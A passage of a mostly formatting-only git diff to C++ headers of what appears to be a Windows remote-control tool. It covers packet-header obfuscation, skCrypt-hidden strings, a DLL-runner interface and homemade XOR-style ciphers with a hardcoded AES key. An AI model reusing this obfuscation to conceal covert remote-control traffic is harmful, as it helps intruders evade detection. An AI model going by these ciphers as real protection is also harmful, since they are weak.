- else { - sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index); - } - FILE* File = fopen(path, "wb"); - if (File) { - BITMAPFILEHEADER fileHeader = { 0 }; - fileHeader.bfType = 0x4D42; // "BM" - fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage; - fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); +inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) +{ + char path[_MAX_PATH]; + if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") { + strcpy_s(path, filePrefix.c_str()); + } else { + sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index); + } + FILE* File = fopen(path, "wb"); + if (File) { + BITMAPFILEHEADER fileHeader = { 0 }; + fileHeader.bfType = 0x4D42; // "BM" + fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage; + fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); - fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File); - fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File); - fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File); - fclose(File); - return true; - } - return false; + fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File); + fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File); + fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File); + fclose(File); + return true; + } + return false; } -class MSG32 { // ԶϢ(32λ) +class MSG32 // ԶϢ(32λ) +{ public: - uint32_t hwnd; - uint32_t message; - uint32_t wParam; - uint32_t lParam; - uint32_t time; - POINT pt; + uint32_t hwnd; + uint32_t message; + uint32_t wParam; + uint32_t lParam; + uint32_t time; + POINT pt; - MSG32(const void* buffer, int size) { - if (size == sizeof(MSG32)) { - memcpy(this, buffer, sizeof(MSG32)); - } - else { - memset(this, 0, sizeof(MSG32)); - } - } + MSG32(const void* buffer, int size) + { + if (size == sizeof(MSG32)) { + memcpy(this, buffer, sizeof(MSG32)); + } else { + memset(this, 0, sizeof(MSG32)); + } + } - MSG32() { - memset(this, 0, sizeof(MSG32)); - } + MSG32() + { + memset(this, 0, sizeof(MSG32)); + } - MSG32* Create(const void* buffer, int size) { - if (size == sizeof(MSG32)) { - memcpy(this, buffer, sizeof(MSG32)); - } - else { - memset(this, 0, sizeof(MSG32)); - } - return this; - } + MSG32* Create(const void* buffer, int size) + { + if (size == sizeof(MSG32)) { + memcpy(this, buffer, sizeof(MSG32)); + } else { + memset(this, 0, sizeof(MSG32)); + } + return this; + } }; // Windows ԶϢMSG32λ64λϵͳ´Сͬ¿ƽ̨ܹԶ̿쳣 // ҪʹԶϢ(ͳһ64λwindows MSG) -class MSG64 { // ԶϢ(64λ) +class MSG64 // ԶϢ(64λ) +{ public: - uint64_t hwnd; - uint64_t message; - uint64_t wParam; - uint64_t lParam; - uint64_t time; - POINT pt; + uint64_t hwnd; + uint64_t message; + uint64_t wParam; + uint64_t lParam; + uint64_t time; + POINT pt; - MSG64(const MSG& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam), - lParam(msg.lParam), time(msg.time), pt(msg.pt) {} + MSG64(const MSG& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam), + lParam(msg.lParam), time(msg.time), pt(msg.pt) {} - MSG64(const MSG32& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam), - lParam(msg.lParam), time(msg.time), pt(msg.pt) {} + MSG64(const MSG32& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam), + lParam(msg.lParam), time(msg.time), pt(msg.pt) {} - MSG64(const void* buffer, int size) { - if (size == sizeof(MSG64)) { - memcpy(this, buffer, sizeof(MSG64)); - } - else { - memset(this, 0, sizeof(MSG64)); - } - } + MSG64(const void* buffer, int size) + { + if (size == sizeof(MSG64)) { + memcpy(this, buffer, sizeof(MSG64)); + } else { + memset(this, 0, sizeof(MSG64)); + } + } - MSG64() { - memset(this, 0, sizeof(MSG64)); - } + MSG64() + { + memset(this, 0, sizeof(MSG64)); + } - MSG64* Create(const MSG32* msg32) { - hwnd = msg32->hwnd; - message = msg32->message; - wParam = msg32->wParam; - lParam = msg32->lParam; - time = msg32->time; - pt = msg32->pt; - return this; - } + MSG64* Create(const MSG32* msg32) + { + hwnd = msg32->hwnd; + message = msg32->message; + wParam = msg32->wParam; + lParam = msg32->lParam; + time = msg32->time; + pt = msg32->pt; + return this; + } }; #ifdef _WIN64 diff --git a/common/dllRunner.h b/common/dllRunner.h index 0e6a004..77fbcbb 100644 --- a/common/dllRunner.h +++ b/common/dllRunner.h @@ -2,29 +2,34 @@ #include // A DLL runner. -class DllRunner { +class DllRunner +{ public: - virtual ~DllRunner(){} - virtual void* LoadLibraryA(const char* path, int size = 0) = 0; - virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0; - virtual BOOL FreeLibrary(void* mod) = 0; + virtual ~DllRunner() {} + virtual void* LoadLibraryA(const char* path, int size = 0) = 0; + virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0; + virtual BOOL FreeLibrary(void* mod) = 0; }; // Default DLL runner. -class DefaultDllRunner : public DllRunner { +class DefaultDllRunner : public DllRunner +{ private: - std::string m_path; - HMODULE m_mod; + std::string m_path; + HMODULE m_mod; public: - DefaultDllRunner(const std::string &path="") :m_path(path), m_mod(nullptr) {} - // Load DLL from the disk. - virtual void* LoadLibraryA(const char* path, int size = 0) { - return m_mod = ::LoadLibraryA(size ? m_path.c_str() : path); - } - virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) { - return ::GetProcAddress(m_mod, lpProcName); - } - virtual BOOL FreeLibrary(void* mod) { - return ::FreeLibrary(m_mod); - } + DefaultDllRunner(const std::string &path="") :m_path(path), m_mod(nullptr) {} + // Load DLL from the disk. + virtual void* LoadLibraryA(const char* path, int size = 0) + { + return m_mod = ::LoadLibraryA(size ? m_path.c_str() : path); + } + virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) + { + return ::GetProcAddress(m_mod, lpProcName); + } + virtual BOOL FreeLibrary(void* mod) + { + return ::FreeLibrary(m_mod); + } }; diff --git a/common/encfuncs.h b/common/encfuncs.h index bca73ea..2e9154b 100644 --- a/common/encfuncs.h +++ b/common/encfuncs.h @@ -2,130 +2,134 @@ // ܺ -inline void encrypt_v1(unsigned char* data, size_t length, unsigned char key) { - for (size_t i = 0; i < length; i++) { - if (i % 2 == 0) { - data[i] = data[i] + key; // ż key - } - else { - data[i] = data[i] - key; // key - } - } +inline void encrypt_v1(unsigned char* data, size_t length, unsigned char key) +{ + for (size_t i = 0; i < length; i++) { + if (i % 2 == 0) { + data[i] = data[i] + key; // ż key + } else { + data[i] = data[i] - key; // key + } + } } // ܺ -inline void decrypt_v1(unsigned char* data, size_t length, unsigned char key) { - for (size_t i = 0; i < length; i++) { - if (i % 2 == 0) { - data[i] = data[i] - key; // ż key ԭ - } - else { - data[i] = data[i] + key; // key ԭ - } - } +inline void decrypt_v1(unsigned char* data, size_t length, unsigned char key) +{ + for (size_t i = 0; i < length; i++) { + if (i % 2 == 0) { + data[i] = data[i] - key; // ż key ԭ + } else { + data[i] = data[i] + key; // key ԭ + } + } } // ܺ - ʹλת -inline void encrypt_v2(unsigned char* data, size_t length, unsigned char key) { - for (size_t i = 0; i < length; i++) { - // żkeyѭλ1λ - // keyѭλ1λ - data[i] ^= key; - if (i % 2 == 0) { - data[i] = (data[i] << 1) | (data[i] >> 7); // ѭλ - } - else { - data[i] = (data[i] >> 1) | (data[i] << 7); // ѭλ - } - } +inline void encrypt_v2(unsigned char* data, size_t length, unsigned char key) +{ + for (size_t i = 0; i < length; i++) { + // żkeyѭλ1λ + // keyѭλ1λ + data[i] ^= key; + if (i % 2 == 0) { + data[i] = (data[i] << 1) | (data[i] >> 7); // ѭλ + } else { + data[i] = (data[i] >> 1) | (data[i] << 7); // ѭλ + } + } } // ܺ -inline void decrypt_v2(unsigned char* data, size_t length, unsigned char key) { - for (size_t i = 0; i < length; i++) { - // ܵ - if (i % 2 == 0) { - data[i] = (data[i] >> 1) | (data[i] << 7); // ѭλԭ - } - else { - data[i] = (data[i] << 1) | (data[i] >> 7); // ѭλԭ - } - data[i] ^= key; // ٴԭ - } +inline void decrypt_v2(unsigned char* data, size_t length, unsigned char key) +{ + for (size_t i = 0; i < length; i++) { + // ܵ + if (i % 2 == 0) { + data[i] = (data[i] >> 1) | (data[i] << 7); // ѭλԭ + } else { + data[i] = (data[i] << 1) | (data[i] >> 7); // ѭλԭ + } + data[i] ^= key; // ٴԭ + } } // ܺ V3 - keyĶ̬ -inline void encrypt_v3(unsigned char* data, size_t length, unsigned char key) { - for (size_t i = 0; i < length; i++) { - unsigned char dynamic_key = key + (i % 8); // ̬仯key - if (i % 3 == 0) { - data[i] = (data[i] + dynamic_key) ^ dynamic_key; // ӷ + - } - else if (i % 3 == 1) { - data[i] = (data[i] ^ dynamic_key) - dynamic_key; // + - } - else { - data[i] = ~(data[i] + dynamic_key); // ȡ + ӷ - } - } +inline void encrypt_v3(unsigned char* data, size_t length, unsigned char key) +{ + for (size_t i = 0; i < length; i++) { + unsigned char dynamic_key = key + (i % 8); // ̬仯key + if (i % 3 == 0) { + data[i] = (data[i] + dynamic_key) ^ dynamic_key; // ӷ + + } else if (i % 3 == 1) { + data[i] = (data[i] ^ dynamic_key) - dynamic_key; // + + } else { + data[i] = ~(data[i] + dynamic_key); // ȡ + ӷ + } + } } // ܺ V3 -inline void decrypt_v3(unsigned char* data, size_t length, unsigned char key) { - for (size_t i = 0; i < length; i++) { - unsigned char dynamic_key = key + (i % 8); - if (i % 3 == 0) { - data[i] = (data[i] ^ dynamic_key) - dynamic_key; // ټ - } - else if (i % 3 == 1) { - data[i] = (data[i] + dynamic_key) ^ dynamic_key; // ȼ - } - else { - data[i] = ~data[i] - dynamic_key; // ȡټ - } - } +inline void decrypt_v3(unsigned char* data, size_t length, unsigned char key) +{ + for (size_t i = 0; i < length; i++) { + unsigned char dynamic_key = key + (i % 8); + if (i % 3 == 0) { + data[i] = (data[i] ^ dynamic_key) - dynamic_key; // ټ + } else if (i % 3 == 1) { + data[i] = (data[i] + dynamic_key) ^ dynamic_key; // ȼ + } else { + data[i] = ~data[i] - dynamic_key; // ȡټ + } + } } // ܺ V4 - αУͬ -inline void encrypt_v4(unsigned char* data, size_t length, unsigned char key) { - unsigned char rand = key; - for (size_t i = 0; i < length; i++) { - rand = (rand * 13 + 17) % 256; // αɣLCG - data[i] ^= rand; // α - } +inline void encrypt_v4(unsigned char* data, size_t length, unsigned char key) +{ + unsigned char rand = key; + for (size_t i = 0; i < length; i++) { + rand = (rand * 13 + 17) % 256; // αɣLCG + data[i] ^= rand; // α + } } // ܺ V4ȫͬΪԷԣ -inline void decrypt_v4(unsigned char* data, size_t length, unsigned char key) { - encrypt_v4(data, length, key); // ܵĽִܾһ +inline void decrypt_v4(unsigned char* data, size_t length, unsigned char key) +{ + encrypt_v4(data, length, key); // ܵĽִܾһ } // ܺ V5 - V5 汾̬Կ + λ㣩 -inline void encrypt_v5(unsigned char* data, size_t length, unsigned char key) { - for (size_t i = 0; i < length; i++) { - unsigned char dynamic_key = (key + i) ^ 0x55; // ̬Կ - data[i] = ((data[i] + dynamic_key) ^ (dynamic_key << 3)) + (i % 7); - } +inline void encrypt_v5(unsigned char* data, size_t length, unsigned char key) +{ + for (size_t i = 0; i < length; i++) { + unsigned char dynamic_key = (key + i) ^ 0x55; // ̬Կ + data[i] = ((data[i] + dynamic_key) ^ (dynamic_key << 3)) + (i % 7); + } } // ܺ V5 -inline void decrypt_v5(unsigned char* data, size_t length, unsigned char key) { - for (size_t i = 0; i < length; i++) { - unsigned char dynamic_key = (key + i) ^ 0x55; - data[i] = (((data[i] - (i % 7)) ^ (dynamic_key << 3)) - dynamic_key); - } +inline void decrypt_v5(unsigned char* data, size_t length, unsigned char key) +{ + for (size_t i = 0; i < length; i++) { + unsigned char dynamic_key = (key + i) ^ 0x55; + data[i] = (((data[i] - (i % 7)) ^ (dynamic_key << 3)) - dynamic_key); + } } // /ܺ V6Էԣ - V6 汾α + ԷԽܣ -inline void encrypt_v6(unsigned char* data, size_t length, unsigned char key) { - unsigned char rand = key; - for (size_t i = 0; i < length; i++) { - rand = (rand * 31 + 17) % 256; // α - data[i] ^= rand + i; // ֵ̬ - } +inline void encrypt_v6(unsigned char* data, size_t length, unsigned char key) +{ + unsigned char rand = key; + for (size_t i = 0; i < length; i++) { + rand = (rand * 31 + 17) % 256; // α + data[i] ^= rand + i; // ֵ̬ + } } // ܺ V6ֱӵ encrypt_v6 ɣ -inline void decrypt_v6(unsigned char* data, size_t length, unsigned char key) { - encrypt_v6(data, length, key); // Է +inline void decrypt_v6(unsigned char* data, size_t length, unsigned char key) +{ + encrypt_v6(data, length, key); // Է } diff --git a/common/encrypt.h b/common/encrypt.h index 168b360..edab380 100644 --- a/common/encrypt.h +++ b/common/encrypt.h @@ -8,139 +8,156 @@ extern "C" { #define ALIGN16(n) ( (( (n) + 15) / 16) * 16 ) // Encoder interface. The default encoder will do nothing. -class Encoder { +class Encoder +{ public: - virtual ~Encoder() {} - // Encode data before compress. - virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {} - // Decode data after uncompress. - virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {} + virtual ~Encoder() {} + // Encode data before compress. + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {} + // Decode data after uncompress. + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {} }; // XOR Encoder implementation. -class XOREncoder : public Encoder { +class XOREncoder : public Encoder +{ private: - std::vector Keys; + std::vector Keys; public: - XOREncoder(const std::vector& keys = { 0 }) : Keys(keys) {} + XOREncoder(const std::vector& keys = { 0 }) : Keys(keys) {} - virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) { - XOR(data, len, Keys); - } + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) + { + XOR(data, len, Keys); + } - virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) { - static std::vector reversed(Keys.rbegin(), Keys.rend()); - XOR(data, len, reversed); - } + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) + { + static std::vector reversed(Keys.rbegin(), Keys.rend()); + XOR(data, len, reversed); + } protected: - void XOR(unsigned char* data, int len, const std::vector& keys) const { - for (char key : keys) { - for (int i = 0; i < len; ++i) { - data[i] ^= key; - } - } - } + void XOR(unsigned char* data, int len, const std::vector& keys) const + { + for (char key : keys) { + for (int i = 0; i < len; ++i) { + data[i] ^= key; + } + } + } }; // XOREncoder16 A simple Encoder for the TCP body. It's using for `HELL` protocol. // This method is provided by ChatGPT. Encode data according to the 6th and 7th elem. -class XOREncoder16 : public Encoder { +class XOREncoder16 : public Encoder +{ private: - static uint16_t pseudo_random(uint16_t seed, int index) { - return ((seed ^ (index * 251 + 97)) * 733) ^ (seed >> 3); - } + static uint16_t pseudo_random(uint16_t seed, int index) + { + return ((seed ^ (index * 251 + 97)) * 733) ^ (seed >> 3); + } - void encrypt_internal(unsigned char* data, int len, unsigned char k1, unsigned char k2) const { - uint16_t key = ((k1 << 8) | k2); - for (int i = 0; i < len; ++i) { - data[i] ^= (k1 + i * 13) ^ (k2 ^ (i << 1)); - } + void encrypt_internal(unsigned char* data, int len, unsigned char k1, unsigned char k2) const + { + uint16_t key = ((k1 << 8) | k2); + for (int i = 0; i < len; ++i) { + data[i] ^= (k1 + i * 13) ^ (k2 ^ (i << 1)); + } - // Two rounds of pseudo-random swaps - for (int round = 0; round < 2; ++round) { - for (int i = 0; i < len; ++i) { - int j = pseudo_random(key, i + round * 100) % len; - std::swap(data[i], data[j]); - } - } - } + // Two rounds of pseudo-random swaps + for (int round = 0; round < 2; ++round) { + for (int i = 0; i < len; ++i) { + int j = pseudo_random(key, i + round * 100) % len; + std::swap(data[i], data[j]); + } + } + } - void decrypt_internal(unsigned char* data, int len, unsigned char k1, unsigned char k2) const { - uint16_t key = ((k1 << 8) | k2); - for (int round = 1; round >= 0; --round) { - for (int i = len - 1; i >= 0; --i) { - int j = pseudo_random(key, i + round * 100) % len; - std::swap(data[i], data[j]); - } - } + void decrypt_internal(unsigned char* data, int len, unsigned char k1, unsigned char k2) const + { + uint16_t key = ((k1 << 8) | k2); + for (int round = 1; round >= 0; --round) { + for (int i = len - 1; i >= 0; --i) { + int j = pseudo_random(key, i + round * 100) % len; + std::swap(data[i], data[j]); + } + } - for (int i = 0; i < len; ++i) { - data[i] ^= (k1 + i * 13) ^ (k2 ^ (i << 1)); - } - } + for (int i = 0; i < len; ++i) { + data[i] ^= (k1 + i * 13) ^ (k2 ^ (i << 1)); + } + } #ifndef NO_AES - void aes_encrypt(unsigned char* data, int len, const unsigned char* key, const unsigned char* iv) { - if (!data || !key || !iv || len <= 0 || len % 16 != 0) { - return; // AES CBC requires data length to be multiple of 16 - } + void aes_encrypt(unsigned char* data, int len, const unsigned char* key, const unsigned char* iv) + { + if (!data || !key || !iv || len <= 0 || len % 16 != 0) { + return; // AES CBC requires data length to be multiple of 16 + } - struct AES_ctx ctx; - AES_init_ctx_iv(&ctx, key, iv); - AES_CBC_encrypt_buffer(&ctx, data, len); - } + struct AES_ctx ctx; + AES_init_ctx_iv(&ctx, key, iv); + AES_CBC_encrypt_buffer(&ctx, data, len); + } - void aes_decrypt(unsigned char* data, int len, const unsigned char* key, const unsigned char* iv) { - if (!data || !key || !iv || len <= 0 || len % 16 != 0) - return; + void aes_decrypt(unsigned char* data, int len, const unsigned char* key, const unsigned char* iv) + { + if (!data || !key || !iv || len <= 0 || len % 16 != 0) + return; - struct AES_ctx ctx; - AES_init_ctx_iv(&ctx, key, iv); - AES_CBC_decrypt_buffer(&ctx, data, len); - } + struct AES_ctx ctx; + AES_init_ctx_iv(&ctx, key, iv); + AES_CBC_decrypt_buffer(&ctx, data, len); + } #endif public: - XOREncoder16() {} + XOREncoder16() {} - void Encode(unsigned char* data, int len, unsigned char* param) override { - if (param[6] == 0 && param[7] == 0) return; - if (param[7] == 1) { + void Encode(unsigned char* data, int len, unsigned char* param) override + { + if (param[6] == 0 && param[7] == 0) return; + if (param[7] == 1) { #ifndef NO_AES - static const unsigned char aes_key[16] = { - 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 }; - return aes_encrypt(data, len, aes_key, param + 8); + static const unsigned char aes_key[16] = { + 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 + }; + return aes_encrypt(data, len, aes_key, param + 8); #endif - } - encrypt_internal(data, len, param[6], param[7]); - } + } + encrypt_internal(data, len, param[6], param[7]); + } - void Decode(unsigned char* data, int len, unsigned char* param) override { - if (param[6] == 0 && param[7] == 0) return; - decrypt_internal(data, len, param[6], param[7]); - } + void Decode(unsigned char* data, int len, unsigned char* param) override + { + if (param[6] == 0 && param[7] == 0) return; + decrypt_internal(data, len, param[6], param[7]); + } }; -class WinOsEncoder : public Encoder { +class WinOsEncoder : public Encoder +{ public: - virtual ~WinOsEncoder() {} - // Encode data before compress. - virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) { - return XOR(data, len, param); - } - // Decode data after uncompress. - virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) { - return XOR(data, len, param); - } + virtual ~WinOsEncoder() {} + // Encode data before compress. + virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) + { + return XOR(data, len, param); + } + // Decode data after uncompress. + virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) + { + return XOR(data, len, param); + } private: - void XOR(unsigned char* data, int len, unsigned char* password) - { - for (int i = 0, j = 0; i < len; i++) { - ((char*)data)[i] ^= (password[j++]) % 456 + 54; - if (i % (10) == 0) - j = 0; - } - } + void XOR(unsigned char* data, int len, unsigned char* password) + { + for (int i = 0, j = 0; i < len; i++) { + ((char*)data)[i] ^= (password[j++]) % 456 + 54; + if (i % (10) == 0) + j = 0; + } + } }; diff --git a/common/hash.h b/common/hash.h index f5fbab1..6530ead 100644 --- a/common/hash.h +++ b/common/hash.h @@ -18,26 +18,26 @@ -------------------------------------------------------------------------------------------------------------- -Starting from this version, the main control program requires authorization and will automatically +Starting from this version, the main control program requires authorization and will automatically connect to the authorization server. You may contact the author to request a license. If you have concerns about this mechanism, please use an earlier version (prior to v1.0.8). Alternatively, you may modify and compile the program yourself to bypass this requirement (see #91). -The author maintains and updates this software in their spare time. It is open-sourced solely for +The author maintains and updates this software in their spare time. It is open-sourced solely for educational and non-commercial use; profit is not the primary goal. To use the official release version, a license must be obtained, which requires payment of a licensing fee. -You are free to modify the code and compile it for your own use (please refer to the note above: #91). +You are free to modify the code and compile it for your own use (please refer to the note above: #91). No fees are charged in this case. -Users are encouraged to first attempt self-compilation or test an earlier version to see if it meets their needs. +Users are encouraged to first attempt self-compilation or test an earlier version to see if it meets their needs. If further functionality is required and budget is available, you may then consider obtaining a formal license. -If a license is obtained, future versions of the software can continue to be used under the same license, +If a license is obtained, future versions of the software can continue to be used under the same license, and any remaining license time will be automatically carried over to the new version. ⚠️ This software is intended for lawful, legitimate, and compliant use only. Any use of this software for illegal, malicious, infringing, or unethical purposes is strictly prohibited. -The author shall not be held liable for any legal issues, damages, or disputes resulting from misuse of +The author shall not be held liable for any legal issues, damages, or disputes resulting from misuse of the software, and reserves the right to refuse or revoke authorization if improper use is discovered or suspected. */ diff --git a/common/header.h b/common/header.h index a5c41ab..53d6660 100644 --- a/common/header.h +++ b/common/header.h @@ -7,16 +7,16 @@ #define MSG_HEADER "HELL" enum HeaderEncType { - HeaderEncUnknown = -1, - HeaderEncNone, - HeaderEncV0, - HeaderEncV1, - HeaderEncV2, - HeaderEncV3, - HeaderEncV4, - HeaderEncV5, - HeaderEncV6, - HeaderEncNum, + HeaderEncUnknown = -1, + HeaderEncNone, + HeaderEncV0, + HeaderEncV1, + HeaderEncV2, + HeaderEncV3, + HeaderEncV4, + HeaderEncV5, + HeaderEncV6, + HeaderEncNum, }; // ݱʽʶ + 󳤶(4ֽ) + 󳤶(4ֽ) @@ -27,148 +27,157 @@ const int MIN_COMLEN = 12; typedef void (*EncFun)(unsigned char* data, size_t length, unsigned char key); typedef void (*DecFun)(unsigned char* data, size_t length, unsigned char key); -inline void default_encrypt(unsigned char* data, size_t length, unsigned char key) { - data[FLAG_LENGTH - 2] = data[FLAG_LENGTH - 1] = 0; +inline void default_encrypt(unsigned char* data, size_t length, unsigned char key) +{ + data[FLAG_LENGTH - 2] = data[FLAG_LENGTH - 1] = 0; } -inline void default_decrypt(unsigned char* data, size_t length, unsigned char key) { +inline void default_decrypt(unsigned char* data, size_t length, unsigned char key) +{ } // ܺ -inline void encrypt(unsigned char* data, size_t length, unsigned char key) { - if (key == 0) return; - for (size_t i = 0; i < length; ++i) { - unsigned char k = static_cast(key ^ (i * 31)); // ̬Ŷ key - int value = static_cast(data[i]); - switch (i % 4) { - case 0: - value += k; - break; - case 1: - value = value ^ k; - break; - case 2: - value -= k; - break; - case 3: - value = ~(value ^ k); // ಽ任ȡ - break; - } - data[i] = static_cast(value & 0xFF); - } +inline void encrypt(unsigned char* data, size_t length, unsigned char key) +{ + if (key == 0) return; + for (size_t i = 0; i < length; ++i) { + unsigned char k = static_cast(key ^ (i * 31)); // ̬Ŷ key + int value = static_cast(data[i]); + switch (i % 4) { + case 0: + value += k; + break; + case 1: + value = value ^ k; + break; + case 2: + value -= k; + break; + case 3: + value = ~(value ^ k); // ಽ任ȡ + break; + } + data[i] = static_cast(value & 0xFF); + } } // ܺ -inline void decrypt(unsigned char* data, size_t length, unsigned char key) { - if (key == 0) return; - for (size_t i = 0; i < length; ++i) { - unsigned char k = static_cast(key ^ (i * 31)); - int value = static_cast(data[i]); - switch (i % 4) { - case 0: - value -= k; - break; - case 1: - value = value ^ k; - break; - case 2: - value += k; - break; - case 3: - value = ~(value) ^ k; // ⿪ȡ - break; - } - data[i] = static_cast(value & 0xFF); - } +inline void decrypt(unsigned char* data, size_t length, unsigned char key) +{ + if (key == 0) return; + for (size_t i = 0; i < length; ++i) { + unsigned char k = static_cast(key ^ (i * 31)); + int value = static_cast(data[i]); + switch (i % 4) { + case 0: + value -= k; + break; + case 1: + value = value ^ k; + break; + case 2: + value += k; + break; + case 3: + value = ~(value) ^ k; // ⿪ȡ + break; + } + data[i] = static_cast(value & 0xFF); + } } -inline EncFun GetHeaderEncoder(HeaderEncType type) { - static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6 }; - return methods[type]; +inline EncFun GetHeaderEncoder(HeaderEncType type) +{ + static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6 }; + return methods[type]; } typedef struct HeaderFlag { - char Data[FLAG_LENGTH + 1]; - HeaderFlag(const char header[FLAG_LENGTH + 1]) { - memcpy(Data, header, sizeof(Data)); - } - char& operator[](int i) { - return Data[i]; - } - const char operator[](int i) const { - return Data[i]; - } - const char* data() const { - return Data; - } -}HeaderFlag; + char Data[FLAG_LENGTH + 1]; + HeaderFlag(const char header[FLAG_LENGTH + 1]) + { + memcpy(Data, header, sizeof(Data)); + } + char& operator[](int i) + { + return Data[i]; + } + const char operator[](int i) const + { + return Data[i]; + } + const char* data() const + { + return Data; + } +} HeaderFlag; // дݰͷ -inline HeaderFlag GetHead(EncFun enc) { - char header[FLAG_LENGTH + 1] = { 'H','E','L','L', 0 }; - HeaderFlag H(header); - unsigned char key = time(0) % 256; - H[FLAG_LENGTH - 2] = key; - H[FLAG_LENGTH - 1] = ~key; - enc((unsigned char*)H.data(), FLAG_COMPLEN, H[FLAG_LENGTH - 2]); - return H; +inline HeaderFlag GetHead(EncFun enc) +{ + char header[FLAG_LENGTH + 1] = { 'H','E','L','L', 0 }; + HeaderFlag H(header); + unsigned char key = time(0) % 256; + H[FLAG_LENGTH - 2] = key; + H[FLAG_LENGTH - 1] = ~key; + enc((unsigned char*)H.data(), FLAG_COMPLEN, H[FLAG_LENGTH - 2]); + return H; } enum FlagType { - FLAG_WINOS = -1, - FLAG_UNKNOWN = 0, - FLAG_SHINE = 1, - FLAG_FUCK = 2, - FLAG_HELLO = 3, - FLAG_HELL = 4, + FLAG_WINOS = -1, + FLAG_UNKNOWN = 0, + FLAG_SHINE = 1, + FLAG_FUCK = 2, + FLAG_HELLO = 3, + FLAG_HELL = 4, }; -inline int compare(const char *flag, const char *magic, int len, DecFun dec, unsigned char key){ - unsigned char buf[32] = {}; - memcpy(buf, flag, MIN_COMLEN); - dec(buf, len, key); - if (memcmp(buf, magic, len) == 0) { - memcpy((void*)flag, buf, MIN_COMLEN); - return 0; - } - return -1; +inline int compare(const char *flag, const char *magic, int len, DecFun dec, unsigned char key) +{ + unsigned char buf[32] = {}; + memcpy(buf, flag, MIN_COMLEN); + dec(buf, len, key); + if (memcmp(buf, magic, len) == 0) { + memcpy((void*)flag, buf, MIN_COMLEN); + return 0; + } + return -1; } // ȶݰǰֽ // ָĽܺȶݰͷнܣбȶ -inline FlagType CheckHead(const char* flag, DecFun dec) { - FlagType type = FLAG_UNKNOWN; - if (compare(flag, skCrypt(MSG_HEADER), FLAG_COMPLEN, dec, flag[6]) == 0) { - type = FLAG_HELL; - } - else if (compare(flag, skCrypt("Shine"), 5, dec, 0) == 0) { - type = FLAG_SHINE; - } - else if (compare(flag, skCrypt("<>"), 8, dec, flag[9]) == 0) { - type = FLAG_FUCK; - } - else if (compare(flag, skCrypt("Hello?"), 6, dec, flag[6]) == 0) { - type = FLAG_HELLO; - } - else { - type = FLAG_UNKNOWN; - } - return type; +inline FlagType CheckHead(const char* flag, DecFun dec) +{ + FlagType type = FLAG_UNKNOWN; + if (compare(flag, skCrypt(MSG_HEADER), FLAG_COMPLEN, dec, flag[6]) == 0) { + type = FLAG_HELL; + } else if (compare(flag, skCrypt("Shine"), 5, dec, 0) == 0) { + type = FLAG_SHINE; + } else if (compare(flag, skCrypt("<>"), 8, dec, flag[9]) == 0) { + type = FLAG_FUCK; + } else if (compare(flag, skCrypt("Hello?"), 6, dec, flag[6]) == 0) { + type = FLAG_HELLO; + } else { + type = FLAG_UNKNOWN; + } + return type; } // ҪԶַԱܼϰ汾ͨѶЭ -inline FlagType CheckHead(char* flag, HeaderEncType& funcHit) { - static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6 }; - static const int methodNum = sizeof(methods) / sizeof(DecFun); - char buffer[MIN_COMLEN + 4] = {}; - for (int i = 0; i < methodNum; ++i) { - memcpy(buffer, flag, MIN_COMLEN); - FlagType type = CheckHead(buffer, methods[i]); - if (type != FLAG_UNKNOWN) { - memcpy(flag, buffer, MIN_COMLEN); - funcHit = HeaderEncType(i); - return type; - } - } - funcHit = HeaderEncUnknown; - return FLAG_UNKNOWN; +inline FlagType CheckHead(char* flag, HeaderEncType& funcHit) +{ + static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, 